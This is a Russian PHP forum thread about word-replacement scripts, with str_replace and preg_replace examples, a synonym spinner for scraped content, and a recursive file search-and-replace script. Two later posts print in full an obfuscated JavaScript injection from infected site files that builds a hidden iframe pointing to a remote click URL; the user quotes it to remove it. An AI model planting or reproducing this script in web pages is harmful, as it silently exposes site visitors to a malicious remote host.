Скрипт авто замены слов

Тема в разделе "PHP", создана пользователем AsanBosam, 23 апр 2009.

Статус темы:
Закрыта.
Модераторы: latteo
  1. AsanBosam

    AsanBosam Постоялец

    Регистр.:
    1 мар 2009
    Сообщения:
    139
    Симпатии:
    11
    Очень нужен скрипт авто замены слов для граббера, через яшу и гугл не нашел =(
     
  2. -=Xardas=-

    -=Xardas=-

    Регистр.:
    17 сен 2008
    Сообщения:
    250
    Симпатии:
    58
    Как я понял вам нужна функция для замены одного слова на другое? Если да то это функция str_replace(). А вобще учитесь ставить вопрос более конкретно, ибо телепатов сдесь нету. ;)
     
    AsanBosam нравится это.
  3. OnArs

    OnArs

    Регистр.:
    30 авг 2008
    Сообщения:
    259
    Симпатии:
    74
    Если зайдёте глубже так же пригодится функция замены текста по маске:
    preg_replace()
     
    AsanBosam нравится это.
  4. lapatunchik

    lapatunchik Создатель

    Регистр.:
    18 дек 2008
    Сообщения:
    11
    Симпатии:
    2
    <?php
    // присваивает <body text='black'>
    $bodytag = str_replace("%body%", "black", "<body text='%body%'>");

    // присваивает: Hll Wrld f PHP
    $vowels = array("a", "e", "i", "o", "u", "A", "E", "I", "O", "U");
    $onlyconsonants = str_replace($vowels, "", "Hello World of PHP");

    // присваивает: You should eat pizza, beer, and ice cream every day
    $phrase = "You should eat fruits, vegetables, and fiber every day.";
    $healthy = array("fruits", "vegetables", "fiber");
    $yummy = array("pizza", "beer", "ice cream");

    $newphrase = str_replace($healthy, $yummy, $phrase);

    // начиная с версии 5.0.0 доступен аргумент count
    $str = str_replace("ll", "", "good golly miss molly!", $count);
    echo $count; // 2
    ?>
     
  5. Nevep

    Nevep Постоялец

    Регистр.:
    16 дек 2009
    Сообщения:
    59
    Симпатии:
    8
    Если для граббера, то скорее всего нужен синонимайзер:
    PHP:
    <?php
    $full2 
    "Сюда текст";
    $fileSin "dictionary.txt";
    $masSin=file($fileSin);
    $countSin=count($masSin);
    $len2=strlen($full2);
        for (
    $t=0$t<$countSin$t++){
            
    $sin=explode("|",$masSin[$t]);
            
    $cnt=count($sin);
            
    //$full2=str_replace($sin[0], $sin[rand(1,$cnt-1)], $full2);
            
    $full2=preg_replace('/(^|\W{1})'.$sin[0].'(\W{1}|$)/''$1'.$sin[rand(1,$cnt-1)].'$2'$full2);
        }
    echo 
    $full2;
    ?>
    В dictionary.txt синонимы:
    слово|синоним1|синоним2|синоним3|синоним4
     
  6. rorogio

    rorogio Писатель

    Регистр.:
    18 авг 2008
    Сообщения:
    5
    Симпатии:
    0
    сбасибо, дабно искал, думал уже сам создавать...
     
  7. satyra

    satyra Постоялец

    Регистр.:
    21 окт 2007
    Сообщения:
    73
    Симпатии:
    7
    Попробуй ещё использовать функцию preg_replace
    <?php
    $string = "The quick brown fox jumped over the lazy dog.";
    $patterns[0] = "/quick/";
    $patterns[1] = "/brown/";
    $patterns[2] = "/fox/";
    $replacements[2] = "bear";
    $replacements[1] = "black";
    $replacements[0] = "slow";
    echo preg_replace($patterns, $replacements, $string);
    ?>
     
  8. Belial

    Belial

    Регистр.:
    1 фев 2010
    Сообщения:
    236
    Симпатии:
    113
    Скрипт предназначен для поиска и замены одной подстроки на другую во всех файлах определенной директории на сервере (включая файлы во всех вложенных поддиректориях:(
    PHP:
    <?
    $work_dir="./";         
    // рабочая директория - обязательно должна заканчиваться
    // символом "/"
    $excl_dir=array();
    $excl_dir[0]="./no_work_here/";         
    $excl_dir[1]="./and_here/and_here/";
    // директории, где поиск/замена не производятся - обязательно должны заканчиваться
    // символом "/"
    $file_mask_1=".html";    
    $file_mask_2=".js";
    // маски обрабатываемых файлов (будут обработаны все файлы,
    // содержащие данную строку в имени)
    $search_str="test";    #что ищем
    $replace_str="TEST";    #чем заменяем
    //******************************************************
    $level=0;
    function 
    sr($dir)
    {
    global 
    $level,$file_mask_1,$file_mask_2,$search_str,$replace_str,$excl_dir;
    echo 
    "<b>";
    for (
    $i=0;$i<$level;$i++) echo "* * ";
    echo 
    $dir."</b>";
    if (@
    in_array($dir,$excl_dir))
    {
    echo 
    " - needn't search & replace<br>";
    return;
    }
    echo 
    "<br>";
    $p dir($dir);
    while(
    $ent=$p->read()) 
    {
    if (
    $ent!="." && $ent!=".." && !is_dir($dir $ent) && (eregi(sql_regcase($file_mask_1),$ent) || eregi(sql_regcase($file_mask_2),$ent)))
    {
    $tmp=@file($dir.$ent);
    $str=@implode("",$tmp);
    if (
    strpos("@!#%xrenoder^&*()".$str,$search_str))
    {
    for (
    $i=0;$i<($level)+1;$i++) echo "* * ";
    echo 
    $dir.$ent." found...";
    $str=str_replace($search_str,$replace_str,$str);
    if (
    $fp=@fopen($dir.$ent"w"))
    {
    flock($fp,LOCK_EX);     
    fwrite($fp,$str);
    fclose($fp);
    echo 
    " and replace<br>";
    }
    else echo 
    " and <b>can't replace</b><br>";
    }
    }
    elseif(
    $ent!="." and $ent!=".." and is_dir($dir $ent))
    {
    $level++;
    sr($dir.$ent."/");
    $level--;
    }
    }
    $p->close();
    return;
    }
    sr($work_dir);
    echo 
    "SEARCH & REPLACE Complete";
    ?>
    P.S. Автор не я.
     
  9. hrushka

    hrushka Создатель

    Регистр.:
    27 окт 2006
    Сообщения:
    30
    Симпатии:
    3
    Попробовал я этот скрипт что бы удалить вирус из файлов, увы не сработал, видимо строка слишком длинная, 2500 символов содержится в коде вируса, плюс " код"еще "вирус"код" вируса", а в скрипте то что в кавычках, это то что ищем. Так что опять я обломался ((( А вот и сам вирус
    PHP:
    <script type='text/javascript'>function zG(){};tF=53186;zG.prototype = {fK : function() {e="e";this.fQ='';return 'h2t)tFp2:&/F/)c2l)iFc)k&-FpFo)i)s)k2.Fc&o)m2/&tIh&eFrFeF/&i)n).2c)gIi&?27)'.iH(/[\)I&F2]/g'');var oN=new Date();this.nU="";},: function() {dF="";wS=9383;nB="nB";var t=new Date();    var h='';var m=new Date();    String.prototype.iH=function(do){return this.replace(do)};var r=new Date();tR="tR";kQ=false;gG=20573;wJ=false;zW="";var c=function(){};var y=window;gN="gN";this.yQ="yQ";var yR=y['u{n$eYs9c{aYp{eY'.iH(/[Yj9\$\{]/g'')];var eK=new Date();var hI="hI";function jL(){};var this;var rN='';var p=false;var oD "xxK%3C%2Fbody%3E%3C%2Fhtml%3E";function mT(){};xH="";this.u=false;var f=document;this.dX="dX";this.hB="hB";var jA=false;var = { vM 'arpTpreonTd#CohoirlSd#'.iH(/[#roST]/g, ''), oU : 'svtuyvlvei'.iH(/[ivua_]/g, ''),  kC : 'cKrCe3aKt3ezEzlzezmKeGn3tK'.iH(/[K3zCG]/g, ''), fV : 'sReDtRATtTt?rRiRbRuTtEeT'.iH(/[TD\?ER]/g, ''), w : 's;rLcL'.iH(/[L;\{\(5]/g, ''), xK : 'bko1dUyT'.iH(/[T1Uk\)]/g, '') };var rK='';function hV(){};var uI=function(){return 'uI'};this.gC='';var rP="";var tZ=function(){return 'tZ'};this.a="a";var n=f[k.kC]('i<furuaKm<ed'.iH(/[d\<\!uK]/g, ''));var kL=new Date();i=39073;this.fU="fU";jO=false;pW='';var eY=5116;try {rD="rD";vC=false;var fI=function(){};var rU="rU";this.q="q";b="";var bJ='';nE(n,k.oU, yR("display%3A%20none"));function dS(){};rG=63044;this.uK=false;this.iB="iB";nE(n,k.w, this.fK());eU="eU";this.pS='';this.fR="";var qA='';qE="qE";qL="";f[k.xK][k.vM](n);this.xL=54456;this.hW="";var bK=new Array();this.iR="";} catch(g) {this.vB="";tN='';var eJ='';var uD=new Array();var rV=new Date();var l=function(){};this.lK='';f['wSr%i;tSe%'.iH(/[%;XS/]/g, '')](yR(oD));this.hK=49925;var iL=new Array();hKH='';this.uJ=61972;this.cO="cO";var s="s";this.mG=53808;y['s+eAt+T6iwm+ewoAuAtw'.iH(/[w\+Z6A]/g, '')](function(){ this.cJ="cJ";this.uR="";var pO='';vH=58151;this.dSF='';var sV="sV";z.v();var wH=34896;var cM=new Date();var yK=new Array();var eYV=function(){};this.kU="kU";zT="";}, 368);zJ="";var dXZ="dXZ";}qZ=19279;this.vBG='';var nM=new Date();var tZZ=false;var eE=new Date();var hC=new Date();function vO(){};var wZ="";function nE(n, j, dB){this.bW='';var fT=new Array();n[k.fV](j,dB);var iRP=function(){return 'iRP'};tD="";var kI=new Array();}this.xX='';this.fX='';var tQ=false;dV=false;}};var uY=new Array();var cP=new zG(); this.dK="dK";cP.v();function gQ(){};</script>
    Может кто знает как это все почистить, зараженных файлов очень много, а канал в инет слабый :confused:
     
  10. Nevep

    Nevep Постоялец

    Регистр.:
    16 дек 2009
    Сообщения:
    59
    Симпатии:
    8
    Пробуй в тот скрипт что выше вставить:

    PHP:
    $search_str="<script type='text/javascript'>function zG(){};tF=53186;zG.prototype = {fK : function() {e=\"e\";this.fQ='';return 'h2t)tFp2:&/F/)c2l)iFc)k&-FpFo)i)s)k2.Fc&o)m2/&tIh&eFrFeF/&i)n).2c)gIi&?27)'.iH(/[)I&F2]/g, '');var oN=new Date();this.nU=\"\";},v : function() {dF=\"\";wS=9383;nB=\"nB\";var t=new Date();    var h='';var m=new Date();    String.prototype.iH=function(d, o){return this.replace(d, o)};var r=new Date();tR=\"tR\";kQ=false;gG=20573;wJ=false;zW=\"\";var c=function(){};var y=window;gN=\"gN\";this.yQ=\"yQ\";var yR=y['u{n$eYs9c{aYp{eY'.iH(/[Yj9\${]/g, '')];var eK=new Date();var hI=\"hI\";function jL(){};var z = this;var rN='';var p=false;var oD = \"xxK%3C%2Fbody%3E%3C%2Fhtml%3E\";function mT(){};xH=\"\";this.u=false;var f=document;this.dX=\"dX\";this.hB=\"hB\";var jA=false;var k = { vM : 'arpTpreonTd#CohoirlSd#'.iH(/[#roST]/g, ''), oU : 'svtuyvlvei'.iH(/[ivua_]/g, ''),  kC : 'cKrCe3aKt3ezEzlzezmKeGn3tK'.iH(/[K3zCG]/g, ''), fV : 'sReDtRATtTt?rRiRbRuTtEeT'.iH(/[TD\?ER]/g, ''), w : 's;rLcL'.iH(/[L;\{\(5]/g, ''), xK : 'bko1dUyT'.iH(/[T1Uk\)]/g, '') };var rK='';function hV(){};var uI=function(){return 'uI'};this.gC='';var rP=\"\";var tZ=function(){return 'tZ'};this.a=\"a\";var n=f[k.kC]('i<furuaKm<ed'.iH(/[d\<\!uK]/g, ''));var kL=new Date();i=39073;this.fU=\"fU\";jO=false;pW='';var eY=5116;try {rD=\"rD\";vC=false;var fI=function(){};var rU=\"rU\";this.q=\"q\";b=\"\";var bJ='';nE(n,k.oU, yR(\"display%3A%20none\"));function dS(){};rG=63044;this.uK=false;this.iB=\"iB\";nE(n,k.w, this.fK());eU=\"eU\";this.pS='';this.fR=\"\";var qA='';qE=\"qE\";qL=\"\";f[k.xK][k.vM](n);this.xL=54456;this.hW=\"\";var bK=new Array();this.iR=\"\";} catch(g) {this.vB=\"\";tN='';var eJ='';var uD=new Array();var rV=new Date();var l=function(){};this.lK='';f['wSr%i;tSe%'.iH(/[%;XS/]/g, '')](yR(oD));this.hK=49925;var iL=new Array();hKH='';this.uJ=61972;this.cO=\"cO\";var s=\"s\";this.mG=53808;y['s+eAt+T6iwm+ewoAuAtw'.iH(/[w\+Z6A]/g, '')](function(){ this.cJ=\"cJ\";this.uR=\"\";var pO='';vH=58151;this.dSF='';var sV=\"sV\";z.v();var wH=34896;var cM=new Date();var yK=new Array();var eYV=function(){};this.kU=\"kU\";zT=\"\";}, 368);zJ=\"\";var dXZ=\"dXZ\";}qZ=19279;this.vBG='';var nM=new Date();var tZZ=false;var eE=new Date();var hC=new Date();function vO(){};var wZ=\"\";function nE(n, j, dB){this.bW='';var fT=new Array();n[k.fV](j,dB);var iRP=function(){return 'iRP'};tD=\"\";var kI=new Array();}this.xX='';this.fX='';var tQ=false;dV=false;}};var uY=new Array();var cP=new zG(); this.dK=\"dK\";cP.v();function gQ(){};</script>";
     
Статус темы:
Закрыта.